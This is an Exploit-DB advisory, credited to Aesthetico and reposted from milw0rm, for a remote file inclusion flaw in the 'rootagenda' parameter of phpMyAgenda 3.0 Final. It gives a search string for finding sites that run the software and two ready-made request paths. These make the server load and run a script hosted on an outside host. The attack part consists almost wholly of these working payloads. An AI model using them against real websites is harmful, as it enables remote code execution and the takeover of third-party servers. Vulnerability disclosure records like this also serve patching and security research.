phpMyAgenda 3.0 Final - 'rootagenda' Remote File Inclusion

Author: Aesthetico
type: webapps
platform: php
port: 
date_added: 2006-04-29 
date_updated: 2016-07-20 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comphpMyAgenda_3.0.tar.gz

Title: phpMyAgenda <=3.0 Final - Remote File Include Vulnerability
-----------------------------------------------------------------
Vendor: phpMyAgenda
URL: http://phpmyagenda.com
-----------------------------------------------------------------

Credits:
Discovered by: 'Aesthetico'
http://www.majorsecurity.de
-----------------------------------------------------------------
Search for: "Powered by phpMyAgenda"
-----------------------------------------------------------------

Exploitation:

/agenda.php3?rootagenda=http://www.yourspace.com/yourscript.php?
/agenda2.php3?rootagenda=http://www.yourspace.com/yourscript.txt?

# milw0rm.com [2006-04-30]